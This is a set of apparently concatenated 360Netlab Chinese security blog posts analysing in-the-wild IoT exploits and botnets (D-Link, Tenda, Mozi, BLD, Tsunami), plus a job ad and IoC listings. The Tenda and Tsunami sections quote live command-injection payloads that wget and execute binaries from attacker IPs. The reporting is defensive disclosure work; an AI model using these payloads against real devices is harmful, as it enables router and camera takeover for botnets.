kenshinx/netlab-blogs huggingface dataset:
D-Link摄像头在野0-day漏洞分析报告

本文作者：马延龙，叶根深



背景介绍


2020年6月12号，@Dogonsecurity在推特上披露了这2个0-day漏洞部分细节[1] [2] ，并且互联网上已有这2个0-day漏洞PoC程序[3]。


2020年7月4号，CNCERT物联网安全研究团队与360网络安全研究院共同分析，监测到有攻击者使用D-Link摄像头2个0-day漏洞，进行网络攻击活动。


2020年8月27号，D-Link针对这2个0-day漏洞事件更新了安全公告[4]，并推出固件升级程序v1.06.01。


目前，我们已经发现D-Link共有9款型号的摄像头存在这2个0-day漏洞, 并向D-Link报告了受影响的范围，另外还报告了固件升级程序v1.06.01存在的漏洞。



漏洞分析


通过360 FirmwareTotal系统分析，D-Link摄像头2个在野0-day漏洞分别是：信息泄漏漏洞和命令注入漏洞，通过组合这2个漏洞，攻击者可以远程控制目标设备，威胁极高。


信息泄露漏洞分析


漏洞类型：信息泄露

漏洞原因：/appro/execs/aHttpMain程序在处理读取相关配置信息时并不需要登录认证，导致用户名、密码和软件版本等明文信息可被任意访问。




命令注入漏洞分析


漏洞类型：命令注入

漏洞原因：/appro/execs/aHttpMain程序在处理用户/cgi-bin/ddns_enc.cgi和/cgi-bin/ddns.cgi请求时，未对account参数进行过滤，即拼接为ez-ipupdate或noip2程序的参数并执行，造成命令注入漏洞。








已知受影响固件列表


DCS-2530L_A1_FW_V1.03.01
DCS-2530L_A1_FW_V1.04.01
DCS-2530L_Ax_FW_V1.04.01
DCS-2530L_REVA_FIRMWARE_1.03.01
DCS-2530L_REVA_FIRMWARE_v1.03.01
DCS-2530L_REVA_FIRMWARE_v1.04.01
DCS-2530L_REVA_FIRMWARE_v1.05.05
DCS-2530L_fw_revA1_1-03-01_eu_multi_20171108
DCS-2530L_fw_revAx_1-04-01_eu_multi_20180601
DCS-2670L_A1_FW_V2.01.031030103739
DCS-2670L_FIRMWARE_2.01.10
DCS-2670L_FW_v1.10.02
DCS-2670L_fw_revA1_1-10-02_eu_multi_20171108
DCS-2670L_fw_revA1_2-01-03_eu_multi
DCS-2670L_fw_revB1_2-01_eu_multi_20190710
DCS-4603_A1_FW_V1.03.04
DCS-4603_FW_V1.02.02
DCS-4603_REVA_FIRMWARE_1.02
DCS-4603_REVA_FIRMWARE_v1.02.02
DCS-4603_REVA_FIRMWARE_v1.03.04
DCS-4603_fw_revA1_1-02-02_eu_multi_20171103
DCS-4603_fw_revA1_1-03-04_eu_multi_20190422
DCS-4622_B1_FW_V2.00.04
DCS-4622_REVB_FIRMWARE_v2.00.04
DCS-4622_fw_revB1_2-00-04_eu_multi_20181109
DCS-4701E_B1_FW_V2.00.21_
DCS-4701E_VB1_FIRMWARE_v2.00.21
DCS-4703E_FW_V1.01.00
DCS-4703E_FW_V1.02.03
DCS-4703E_REVA_FIRMWARE_1.01
DCS-4703E_REVA_FIRMWARE_v1.01
DCS-4703E_REVA_FIRMWARE_v1.02.03
DCS-4703E_fw_revA1_1-01_eu_multi_20170929
DCS-4703E_fw_revA1_1-02-03_eu_multi_20190426
DCS-4705E_A1_FW_v1.00.12
DCS-4705E_A1_FW_v1.01.00
DCS-4705E_REVA_FIRMWARE_v1.00.12
DCS-4705E_REVA_FIRMWARE_v1.01.00
DCS-4705E_fw_revA1_1-00-12_eu_multi_20181205
DCS-4705E_fw_revA1_1-01-00_eu_multi_20190905
DCS-4802E_B1_FW_V2.00.09
DCS-4802E_REVB_FIRMWARE_v2.00.09
DCS-4802E_fw_revB1_2-00-09_eu_multi_20190422
DCS-P703_A1_FW_V1.01.00




处置建议


我们建议D-Link摄像头用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。

我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC


Scanner IP


106.59.222.2        	China               	ASN4134             	No.31,Jin-rong Street



Downloader IP


103.138.12.202      	China               	ASN134176           	Rainbow network limited



URL


http://103.138.12.202:8099/dlink
Tenda路由器在野0-day漏洞分析报告

本文作者：马延龙，叶根深



背景介绍


2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。



漏洞分析


漏洞类型: 未授权远程命令执行漏洞

漏洞原因: /httpd/cgi-/bin/httpd程序通过formSetSambaConf函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数action值为del时，没有对usbName参数进行安全过滤，就拼接为cfm命令，并由doSystemCmd函数执行，导致未授权远程命令执行漏洞。



在野PoC （只内部分享，不对外公开）


GET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1
Host: {target}:8010
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: en-US,en;q=0.5




时间线


2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。




已知受影响固件列表


US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn




处置建议


我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。

我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC


Scanner & Downloader IP


45.249.92.60        	China               	ASN133115           	HK Kwaifong Group Limited



Websocket C2:


ws://q9uvveypiB.notepod2.com:443



URL


http://45.112.205.60/td.sh
360网络安全研究院杭州开点招聘

团队简介


360网络安全研究院（360Netlab）于2014年成立。不同于传统网络安全主要基于规则，数据分析是团队的主要方向。团队持续专注于DNS和僵尸网络领域，并在领域内保持领先地位。


从2014年开始，团队在DNS方向上建设了国内历史最久、覆盖范围最广的PassiveDNS基础数据库，及其附属其它基础数据库，持续分析产出威胁情报并应用于360网络安全大脑，并在多个DNS领域内的技术会议上做公开报告。在僵尸网络领域内，团队多年来持续致力于发现跟踪僵尸网络活动，披露了包括Mirai、Satori在内的若干重大安全威胁，并因为其中针对Mirai僵尸网络的持续分析工作得到美国FBI、美国司法部的致谢。


360网络安全研究院计划在杭州新成立一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。


从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。


更多信息：https://netlab.360.com



简历投递


yegenshen@360.cn


工作地点


杭州（文一西路998号海创园）






招聘岗位：前端开发工程师（实习生走校招内推流程）


职责说明


 * 参与数据可视化系统WEB端的开发


岗位要求


 * 精通 JavaScript/CSS/HTML
 * 熟悉 React/Vue/Angular 任一前端框架
 * 了解 Webpack/Gulp 等前端打包发布工具
 * 熟悉 Python，且熟悉 Flask/Tornado 任一服务端框架
 * 了解基本的Linux命令
 * 有基本的美学判断能力和设计能力
 * 良好的团队合作能力


加分项


 * 熟悉 Typescript
 * 熟悉数据可视化，及D3/Vega/G2 任一可视化框架


招聘岗位：后端开发工程师（实习生走校招内推流程）


职责说明


 * 参与蜜罐产品化工作


岗位要求


 * 计算机相关专业本科及以上学历，精通Java、C/C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力
 * 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情
 * 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感
 * 熟悉一种以上海量数据处理平台/框架，如ClickHouse、Hadoop、Storm、Spark、HBase，Elasticsearch等开源系统者优先
 * 有网络安全大数据处理方面经验者优先


招聘岗位：安全研发工程师（实习生走校招内推流程）


职责说明


 * 负责蜜罐、沙箱产品研发


岗位要求


 * 计算机相关专业本科及以上学历，精通Java、C、C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力
 * 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情
 * 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感
 * 有过开源蜜罐或沙箱项目研发经验者优先


招聘岗位：产品经理


职责说明


 * 主导360Netlab安全数据产品化工作，参与安全分析系统设计工作
 * 把控安全项目进度，紧跟客户和市场需求


岗位要求


 * 3年以上互联网产品工作经验，对网络安全数据有产品经验者优先考虑
 * 负责产品需求沟通、需求分析、需求设计、原型设计、交互设计等
 * 负责项目团队的进度把控、产品迭代质量、交付版本验收，对结果负责
 * 有较强的学习能力，为实现产品期望而砥砺前行
 * 良好的沟通能力和团队合作精神，有一定的组织协调能力和决策能力
 * 敏锐的洞察力和超强的分析与解决复杂问题的能力


招聘岗位：安全工程师（实习生走校招内推流程）


职责说明


 * 负责高级恶意软件威胁分析，并撰写分析报告
 * 从常规的网络安全数据和恶意样本提炼特征，为安全系统提升检测能力
 * 热爱研究网络空间中不断出现的攻防对抗技术


岗位要求


 * 热爱网络安全工作，具有安全漏洞/恶意代码分析和检测经验者优先考虑
 * 熟悉x86/ARM/MIPS汇编指令，精通ELF/PE文件逆向分析
 * 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力
 * 熟悉网络攻防技术和常见攻击手法，能快速识别常见的网络攻击
 * 善于主动思考，具备独立分析和解决问题的能力
 * 有较强的学习能力，具备良好的团队合作精神和沟通能力


招聘岗位：算法工程师（实习生走校招内推流程）


职责说明


 * 深度理解360Netlab网络安全数据，应用机器学习算法，为安全系统提升检测能力
 * 在工作中能够主动发现各种策略的问题并提出优化方案，并推进优化方案落实


岗位要求


 * 热爱数据分析工作，对网络安全数据（恶意代码、恶意流量、恶意软件行为）有分析经验者优先考虑
 * 熟悉一种或多种常用机器学习模型，具有相关项目经验
 * 熟悉一种或多种常见的机器学习/深度学习工具，有实际使用经验
 * 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力
 * 善于主动思考，具备独立分析和解决问题的能力
 * 有较强的学习能力，具备良好的团队合作精神和沟通能力


薪酬范围


上述JD级别不限，薪酬范围20～45K，如果感兴趣，欢迎联系: yegenshen@360.cn
BLD家族的另一个视角

 * IDA-Helper + Malook + Aplysia 组合使用样例。


关于BLD 家族


在 360netlab 内部我们一般以通讯协议为切入点，将恶意样本进行分类，而 bld 正是我们分类后的一个家族。其投递目标主要为Linux+IOT，作为一个公开源码的恶意软件家族，在不同的项目中具有完全不同的名字，不同的厂商在遇到变种后，也会用一些特有的名字标记它，比如 Qbot/Gafgyt 等。由于其源代码公开的特性，该家族变种繁多复杂，这也导致对这个家族的梳理变得很困难。


本文将以其核心函数 processCmd 为切入点（在一些变种分支中该函数被命名为cncinput），对这个家族进行一个简单的梳理。相信在这个全新的视角下，可以让读者从另一个角度理解到这个家族的特点。



关于processCmd


函数声明：void processCmd(int argc, unsigned char *argv[])；


函数输入：从 CC 读取到的字符串列表。


函数功能：解析报文的指令，并调用相应的处理函数。


通过以上事实，不难看出， processCmd 这个函数其实就是 BLD 家族的核心函数，通过对这个函数的剖析，我们可以比较全面的了解这个家族的一些共性。


以下是该函数的部分截图，帮助读者快速理解该函数的状态：









分析 processCmd


这里我们找到了 72558 个 bld 样本，包含各种经常遇到的CPU架构（x86/arm/mips/powerpc 等）


拿到这些样本后，我们再对每一个样本支持的指令情况进行统计，从而得到了如下三个问题的答案:


 1. 该家族最受欢迎的攻击向量有哪些？
 2. 该家族的各变种中，大概有多少种不同的攻击向量组合？
 3. 在各种攻击向量组合中，哪些组合又是最受欢迎的？



最受欢迎的攻击向量


通过分析每个样本的 processCmd ，一共获得了 1307 条不同的指令。


各指令中，样本数占比超过 10% 的指令如下图所示：





为方便大家理解各指令的具体含义，这里简单列一下图中出现的指令含义：


UDP: 基于UDP协议的洪水攻击，报文内容随机（makeRandomStr函数填充），可伪造源IP。

TCP：基于TCP协议的洪水攻击，报文内容为空，可伪造源IP，tcp.flag 值可调节。

STD：基于TCP协议的洪水攻击，报文内容为固定列表内随机，可完成一个完整的TCP会话。

HTTP：基于HTTP协议的洪水攻击，User-Agent 为固定列表随机。

STOP：停止指令，通过杀子进程的方式，停止正在执行的攻击任务。

CNC：CNC设置。

VSE：基于UDP协议的洪水攻击，报文内容固定（"TSource Engine Query"），可伪造源IP。

XMAS：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，tcp.flag 内容固定。

ACK： 基于TCP协议的洪水攻击，tcp.flag 为 ACK。

SYN: 基于TCP协议的洪水攻击，tcp.flag 为 SYN。

CUDP:基于 UDP 协议的洪水攻击，全参数可调（报文长度，是否伪造源IP，攻击时长等）。

CTCP：基于TCP协议的洪水攻击，全参数可调。

CVSE：基于UDP协议的洪水攻击，参考VSE，全参数可调。

NIGGA：停止指令，同 STOP 指令，出现在不同的样本分支中。

CXMAS：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，全参数可调。

stop：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 Stop 指令一同出现。

Stop：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 stop 指令一同出现。

PING：存活测试，CC发送该指令后，一般Bot会配合性回复 PONG 或 PONG!

HEX： 基于TCP协议的洪水攻击，内容为一段指定的无意义字符。

TELNET：基于 telnet 协议的传播指令，利用telnet弱口令进行传播。

STOMP： 综合 STD 和 UDP 的攻击

STDHEX： 参考STD攻击，报文内容为指定的HEX

PONG!： 心跳回复报文，和 PING 指令配对出现。



攻击向量组合统计


通过分析每个样本的 processCmd ，一共获得了 1412 种不同的向量分组。


我们可以近似理解为，BLD家族分出了 1412 种变化。下图为 TOP30 的结果。





从图中内容，可以大致看出，其实每个分支对BLD的目标要求是不同的。


比如图中第 14 个分组，它的目标似乎是从 Bot 侧发起 AMP 反射放大攻击。


而另一些分组，则会对自更新有要求，所以指令中出现了 UPDATE 指令的字样。比如第 9/11/14 等组。


从数量占比情况看，第一组的占比在20%，远超第二组的6%。这意味着，该组合也是最受欢迎的向量组合。于此同时，似乎也意味着，第一组内各样本就是 BLD 家族的主分支。
360netlab上线域名IOC（威胁情报）评估标准及评估数据服务

版本一：程序员版


一直以来，由于高门槛，安全圈里对威胁情报质量没有一个很好的评估手段，





PR狠的公司的威胁情报就更好么？

名头响的公司的威胁情报就更好么？

使用了机器学习人工智能这些热词的威胁情报就更好么？

拿了一堆排排坐吃果果的奖的公司的威胁情报就更好么？



难有人能给个说法，所以最后我们看到用户只能回到一个聊胜于无的方法，哪家的威胁情报的总数多哪家就好，出现的告警次数多哪家就好！

这个方法其实巨坑，举个?：





A和B厂家提供两份威胁情报，A有10万条IOC，B有5万条IOC。

A的10万条IOC在实际网络中总命中IOC不到1000条，产生了20000次告警。

B的5万条IOC在实际网络中命中IOC15000条，也产生了20000次告警。


你愿意选择哪个？



那咋办？

经过一段时间的准备，我们推出来了个一个公益的评估标准，而且还免费提供大网的实际评估数据从而让客户有真实数据评估。


我们这么干是为啥？ 是不是有啥阳谋，要怎么收数据之类的？（答案，没有，看看我们的正经页面就能懂）


另外我们很欢迎有经验的用户提供反馈修正等，对于采用的反馈合并进入评估标准后，我们会在评估手册中列出相应的贡献者名单。



版本二：项目经理版



背景简介


IOC（威胁情报）评估是威胁情报采购，使用过程中极为重要的一个环节。对其进行科学，透明和可量化的评估是整个威胁情报产业一个重要的组成部分。


鉴于目前市场上缺乏相应的评估标准及评估服务，360netlab基于多年来实网数据分析经验以及丰富的安全分析积累，提出了《域名IOC（威胁情报）评估标准》的第一版——“域名IOC评估19条”——包括11条静态评估标准及8条动态评估标准。


为了更便捷的使用该标准，我们提供了域名IOC（威胁情报）评估标准的线上版本。



服务内容


考虑到无论是生产方还是消费方，IOC均为其最核心的资产，从数据安全的角度出发，360netlab不提供对用户IOC的直接评估服务。我们提供可以实操的评估手册和评估过程所需的基础数据，用户可以按照评估手册自行完成整个评估过程。


评估手册


首先，我们特提供了域名IOC（威胁情报)评估的操作手册，手册中的每一项都有详细的解释以及建议的操作方法，不同的IOC（威胁情报）相关方可根据手册进行自评和验证。


需要说明的是，评估标准是一个不断改进和完善的过程。我们非常欢迎业界同仁对域名IOC（威胁情报）的评估提供反馈意见。对于任何科学有益的建议，我们都会合并进入评估标准，并清晰注明相应的贡献者，作为《域名IOC（威胁情报)评估标准》的后续版本进行发布。


评估数据服务


其次，考虑到不同用户在进行域名IOC（威胁情报）评估时的数据门槛，尤其是动态评估过程中缺乏基础数据以完成评估，360netlab提供了“域名IOC评估数据服务”。


该服务对需要使用基础数据进行IOC（威胁情报）动态评估服务的用户免费提供一定时间段的原始数据。需要的用户可以通过我们的评估网站 进行申请。


最后，关于IOC（威胁情报）评估服务的详细内容以及更多其他的内容，欢迎访问我们的评估网站 https://assess-ioc.netlab.360.com 。
Mozi 僵尸网络分析报告

背景介绍


我们注意到近期有多家厂商：奇安信、深信服、微软等，都对Mozi僵尸网络进行了跟踪分析，同时多家网络安全媒体也有相关跟踪报道。


我们觉得有必要向安全社区披露部分信息:


 * Mozi僵尸网络没有再更新，幕后作者已经被逮捕
 * Mozi僵尸网络主业是色情网站，副业才是僵尸网络
 * Mozi僵尸网络历史版本技术分析


2019年9月3号，360公司捕获到Mozi僵尸网络相关样本，并于2019年12月23号首发披露Mozi僵尸网络[1]。


Mozi是一个相对较新的物联网僵尸网络，以DHT协议建立P2P网络进行通信，主要通过10多种n-day漏洞利用和Telnet弱口令方式进行蠕虫式传播。



Mozi僵尸网络监控


Mozi僵尸网络至少有60%的肉鸡IP位于中国境内，主要分布在河南、山东、广东、北京等省份。通过360 Anglerfish蜜罐技术，我们监测Mozi僵尸网络传播趋势，掌握Mozi僵尸网络受害者IP、Mozi僵尸网络样本、漏洞利用攻击网络数据包等信息。




在2020年9月份，Mozi僵尸网络大规模暴涨，我们分析出这是因为几组Telnet弱口令导致印度和中国的大量设备被入侵并植入Mozi僵尸网络，其最高活跃IP在16万/日。




目前，Mozi僵尸网络Bot样本程序已经不再更新，但原有的Bot节点仍在进行蠕虫式传播。



主业是色情网站，副业才是僵尸网络


1）51.la统计代码

Mozi僵尸网络的管理者使用了51.la提供的统计代码服务来统计感染数量。


https://web.51.la/report/online?comId=20198527
https://web.51.la/report/online?comId=17675125 
https://web.51.la/report/online?comId=19894027



2）色情网站浮出水面

通过360 PassiveDNS系统，我们根据115.144.69.117关联分析得到相关色情网站域名。





Mozi僵尸网络的v2s版本变化






逆向分析



1：bot样本下载服务


 * 本地主机提供
   
   被mozi感染的节点监听随机TCP端口提供样本下载服务，当接收到"/c"参数，返回"loginok"；其余任何参数，均返回bot样本。
   
   
 * 远程主机提供方案a
   
   由Config文件中的[dip]字段指定主机提供样本下载服。
   
   
 * 远程主机提供方案b
   
   有.ipds文件提供,示例如下


95.32.206.163:56398:.m,219.85.186.25:53672:.7,95.32.76.42:53856:.m,45.176.110.210:39149:.m,5.42.38.186:38576:.m,121.182.147.179:60858:.l,213.65.244.86:40814:.m,




样本分析


据统计，此次大规模活动样本为ARM，MIPS俩个CPU架构，本文选取ARM架构的样本为分析对象，样本信息如下





MD5:b9e122860983d035a21f6984a92bfb22

ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

Lib: uclibc

Packer:UPX



此样本中采用UPX加壳，对抗手法依然是将p_filesize & p_blocksize抹零。我们根据botvX/config.c字串将Mozi分成了3个版本，此样本脱壳后已没有此标识，但是有另一字串botv2，因此我们推测，这属于V2的一个分支。随后在网络流量中，证实了我们的推测，此次大规模活动样本的版本号为v2s。



简单地从功能层面上来看，Mozi Botnet由名为Config的Payload驱动，执行Payload里指定的各种子功能。新旧版本所支持的子功能对比如下图所示




我们已经在上一篇文章详细的分析Mozi Botnet的实现细节，有兴趣的读者可以自行查阅。本文将着重介绍Mozi Botnet的变化以及新特性。



持久化


 * /etc/init.d/S95baby.sh


#!/bin/sh
/usr/networks&



 * /usr/networks
 * /usr/networkstmp



变化&新特性


作为一个面世不算久的P2P Botnet，Mozi的设计上固然有其精巧的地方，但同时也存在一些缺陷：全部Bot节点同步Config存在效率问题；没有考虑到被感染的Bot节点没有公网IP导致后续感染失败等。在此次分析的Bot样本中，我们看到了Mozi作者对上述问题做出了改进。



1：新增cnc子任务


增加了这个子任务后，Mozi Botnet要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可。整个子任务复用了Mirai的代码的，通过[cnc]关键字指定C2，Bot通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDoS攻击。


以下是获取C2：PORT的代码片段




以下是发送上线包的代码片段




以下是发送心跳的代码片段




以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。





2：增加了外网地址


通过http://ipinfo.io/ip获取外网IP以便在在Telnet，Exploit的payload使用。




加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。





3：增加了upnp端口映射


当被感染的设备是通过NAT访问网络时，Mozi通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的AddPortMapping在路由器上实现端口映射，以保证服务的正常访问。





技术总结


我们可以看出这些更新都是为了提高效率：DDoS的效率，传播的效率。通过cnc子任务，重构攻击模块，弃用Gafgyt的攻击代码，转向更有效率的Mirai，实现控制节点与业务节点的分离，极大的增加了Mozi Botnet的网络弹性。花费如此多力气在DDos方面，我们有理由相信在将来能看到其在攻击方面的大动作。
co短域名扫描的事情

DNSMon发现大量的用户存在短域名扫描


短域名的形式为 [a-z0-9]{3}.co



调查发现是由某个apk引起的


666b3f55a415bb87dca941746cf94864 极光影院

63e5bd5ef2d5931c4f519f154cada895 极光影院



沙箱的行为


2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=93w.co	ip=172.67.141.92	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=84o.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=89y.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=96b.co	ip=23.236.62.147	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=82r.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=38g.co	ip=193.38.55.49	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=46z.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=74x.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=81n.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=54n.co	ip=45.55.177.90	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=70d.co	ip=50.62.25.1	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=29y.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=29p.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=88q.co	ip=103.120.80.155	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=81y.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=09p.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=57o.co	ip=193.38.55.92	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=95r.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=20k.co	ip=184.168.131.241	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=31c.co	ip=192.185.78.52	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=87u.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=61m.co	ip=45.88.202.115	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=65u.co	ip=185.212.128.104	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns	server=10.0.2.3	domain=83y.co	cname=site.lbo888999.com	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=14t.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=26e.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=95e.co	src=mb
2020-12-10 16:41:31	666b3f55a415bb87dca941746cf94864	dns_nx	server=10.0.2.3	domain=63m.co	src=mb
一个新的Tsunami僵尸网络正在使用烽火通信AN5506光纤路由器的漏洞传播

本文作者：马延龙，叶根深，金晔



背景介绍


2021年1月29号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用烽火通信科技股份有限公司的AN5506光纤路由器的远程命令执行漏洞[1]，传播Tsunami僵尸网络样本。


此前，我们曾披露了另一起关于烽火通信路由器的安全事件[2]。



时间线


2021年2月3号，我们邮件联系烽火通信科技股份有限公司并报告了漏洞详情以及在野攻击PoC。
2021年2月7号，烽火通信联络人邮件回复该漏洞已在2017年底修复。




漏洞分析


漏洞类型：需授权的远程命令执行漏洞

漏洞描述：AN5506光纤路由器的webs程序在处理setPing请求时，ping_ip字段并未进行危险字符的过滤，即拼接ping或者traceroute命令，导致远程命令执行漏洞。





Tsunami僵尸网络


我们看到Tsunami僵尸网络Bot样本（327aba0f852b5ba34c03032e19fa8dae）中集成了AN5506光纤路由器的漏洞利用代码，进行蠕虫式传播。该样本并没有特别之处，我们只做简要分析。


 * 
   
   
   随机IP生成算法
   
   
   

 * 
   
   
   漏洞利用
   
   
   

 * 
   
   
   该样本的主要功能是发起DDoS攻击，具体攻击指令种类如下：
   
   
   



漏洞影响范围


360 FirmwareTotal系统通过对烽火通信AN5506路由器固件分析和漏洞验证，发现以下设备型号受影响。


AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G



360 Quake网络空间测绘系统通过对全网资产测绘，发现烽火通信AN5506路由器具体分布如下图所示。





处置建议


我们建议烽火通信AN5506路由器用户及时检查并更新固件系统。

我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC


IP:


43.225.100.90       	Hong Kong           	ASN4594             	Internet Solutions Limited



C2:


43.225.100.90:443



URL:


http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l



MD5:


0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
Tsunami 0day 样本分析

因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。



使用0day进行传播


样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。


接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。


Exp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。


busybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug; 
chmod 777 /tmp/upnp.debug; 
/tmp/upnp.debug




主要功能DDoS


